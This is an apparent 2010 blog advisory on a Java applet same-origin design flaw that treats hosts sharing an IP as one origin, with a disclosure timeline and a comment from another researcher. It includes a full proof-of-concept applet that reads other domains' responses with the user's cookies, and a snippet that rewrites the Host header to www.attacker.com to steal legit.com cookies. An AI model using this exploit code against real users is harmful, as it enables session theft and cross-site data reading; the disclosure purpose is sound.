Wednesday, October 20, 2010

Java Applet Same IP Host Access

Summary
Due to a design issue on the way Java considers Same Origin Policy, it is possible for an attacker controlling a host with the same IP of the victim host, to forge requests to victim host on behalf of a user and read the content of the response.

Analysis
It is known for ever that Java SOP is correlated with the IP of the applet hosting server.

"...
Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can't be resolved, the host names must be equal without regard to case; or both host names equal to null.
..."
That means that differently from other SOP, Java does not take in consideration HostNames but only IPs.
This is what is called a design issue, probably originating from the '90s when the Internet was a more similar to a LAN :).
By taking advantage of this design issue, if an attacker can control at least one host on a virtual server pool (uploading an applet), it will be possible for the attacker to use an applet against a legit user and read every information from the other domains on the same IP.

Specifically, it is possible to forge requests and read HTML response from any other server with the same IP of the host without any further security check.
So let's consider that is possible for an attacker to upload a jar on a virtual host (I.e. an uploading host uploads.vhost.tld or a fully controlled host) which will results in an applet downloadable from the server.
The applet code is the following:


import java.net.*;
import java.util.*;
import javax.swing.*;
import java.applet.*;
import java.util.regex.*;


public class GetFromIP extends Applet{

public void init( ) {
String line;
String content="";
String patternStr = getParameter("regexp") ;
try{
URL f=new URL(getParameter("url"));
HttpURLConnection g=(HttpURLConnection)f.openConnection();
g.setRequestMethod("GET");
g.connect();
java.io.DataInputStream dis = new
java.io.DataInputStream(g.getInputStream());
while((line=dis.readLine())!=null){
content+=line+"\n";
}
g.disconnect();
JTextArea area = new JTextArea(10,20);
add(area);
Pattern pattern = Pattern.compile(patternStr);
Matcher matcher = pattern.matcher(content);
String match="not found";
if( matcher.find())
match = matcher.group();
area.setText(match);
}catch(Exception exc){exc.printStackTrace();}
}
}


What happens is that when Java makes a HttpURLConnection it asks for Cookies to the browser which provides them back to Java except for HttpOnly cookies (this is a publicly known behavior).
After that, even if it seems that is not possible to directly read the cookies from Java, it's still possible to read the html content since there is IP sharing.

Yeah, using TRACE is still possible on non HttpOnly cookies but that method could be disabled on the server side.

This will result in some sort of CSRF (you cannot read cookies) but with read access to the response, allowing the attacker to read for example AntiCSRF tokens and other sensitive data.
The following screenshot is the result of an attack from a malicious user (evil me) to google.com getting information of a logged in user (angel me).


Another interesting attack: Host header.
It is known that is possible to set the Host header on applets using HttpURLConnection:

connection.setRequestProperty("Host", urlUpload.getHost());

The latter, in conjunction to the same IP SOP will create a way to steal cookies as well.
Suppose www.attacker.com is on same IP of www.legit.com and a user is logged in on legit.com site.
A malicious user could then try to let the user to go to a page with the following content.

From www.attacker.com:

f=new java.net.URL("http://www.legit.com"); // allowed since they share IP
g=f.openConnection();
g.addRequestProperty("Host","www.attacker.com"); //allowed since a feature
g.connect();
dis = new java.io.DataInputStream(g.getInputStream());
while((i=dis.readLine())!=null){
log(i);
}


What happens here is that Java asks the browser for www.legit.com cookies and then sends the request to the server which sees the Host header and sends it to the attacker's site stealing the (non HttpOnly cookies).

Moreover it will be possible to add or overwrite cookies from an attacker page by simply setting a cookie in the response header.
That cookie will be passed to the browser which thinks it's a cookie belonging to legit.com.

A big issue
The even more big issue here is that any js controlled site (read Xssable) that resolves to a shared IP hosting is vulnerable to this, since Packages.java* can be used from javascript using JavaScriptProtectionDomain. Now from any browsers as described here.

A side Note
It seems that Roberto Suggi Liverani found the first part of the design vulnerability as well on August and responsibly disclosed to Oracle. It also seems that Oracle were so obscure to not telling him that the issue was already found and reported by me. So you'll find another similiar advisory on the net.

Disclosure Timeline
30th March 2010: Issue found. I think that since it's a design issue probably Oracle will have some objection in fixing it. So I decide to send an attack example to Google.
31st March 2010: Information about the attack sent to Google
1st April 2010: Google says it has to be corrected by Oracle. They can help pushing for a fix.
20th April 2010: Advisory Sent to Oracle
6th May 2010: Oracle Confirms the issue.
6 Apr - 12 Oct 2010: Some Oracle updates and finally the Java release.

1 comment :

  1. Ciao Stefano,

    Thanks for further clarifying the disclosure of this bug. I just did the same:

    http://malerisch.net/articles/oracle_jre_sop_bypass_clarifications.html

    un saluto,

    Roberto

    ReplyDelete